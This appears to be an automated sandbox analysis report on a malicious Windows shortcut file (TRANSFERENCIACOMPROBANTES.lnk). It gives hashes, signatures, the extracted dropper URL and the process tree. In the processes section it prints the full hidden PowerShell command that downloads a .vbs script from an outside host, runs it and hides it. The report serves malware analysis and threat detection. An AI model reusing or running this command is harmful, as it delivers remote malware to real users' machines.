Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    09-12-2024 05:54

General

  • Target

    TRANSFERENCIACOMPROBANTES.lnk

  • Size

    2KB

  • MD5

    5f82d730794323e47df2c5361e13ce69

  • SHA1

    e05dba2157cec9966790f75cba9899243939b569

  • SHA256

    4a6695307864dfe0b2e8b516afce79959cb20fed28734d5426450091367255a4

  • SHA512

    9b0ffcccaff5071944b6525bcb9678aed94f939700c741ebc99f919cdc4033d86a79546f39080e1991b41cd7cf2e243d434b147764495b3548e1f563a1a0ea07

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\TRANSFERENCIACOMPROBANTES.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2352
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass opntjfmdjtgfdjqbinrdfgfdhozhdfbo -WindowStyle -Command hiddeN consent.exe;(new-object System.Net.WebClient).DownloadFile('https://www.stipamana.com/vbsznjgzfzgolnzdgh/tydthcgfhjdfhsfghxffsjhx/vbfdhydjyfjfxhgjhxgh/pafdfgzdf.vbs','pafdfgz.vbs');./'pafdfgz.vbs';(get-item 'pafdfgz.vbs').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2848

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2848-38-0x000007FEF5BFE000-0x000007FEF5BFF000-memory.dmp

    Filesize

    4KB

  • memory/2848-39-0x000000001B780000-0x000000001BA62000-memory.dmp

    Filesize

    2.9MB

  • memory/2848-40-0x000007FEF5940000-0x000007FEF62DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2848-44-0x000007FEF5940000-0x000007FEF62DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2848-43-0x000007FEF5940000-0x000007FEF62DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2848-42-0x0000000002330000-0x0000000002338000-memory.dmp

    Filesize

    32KB

  • memory/2848-41-0x000007FEF5940000-0x000007FEF62DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2848-45-0x000007FEF5940000-0x000007FEF62DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2848-46-0x000007FEF5940000-0x000007FEF62DD000-memory.dmp

    Filesize

    9.6MB

  • memory/2848-47-0x000007FEF5BFE000-0x000007FEF5BFF000-memory.dmp

    Filesize

    4KB

  • memory/2848-48-0x000007FEF5940000-0x000007FEF62DD000-memory.dmp

    Filesize

    9.6MB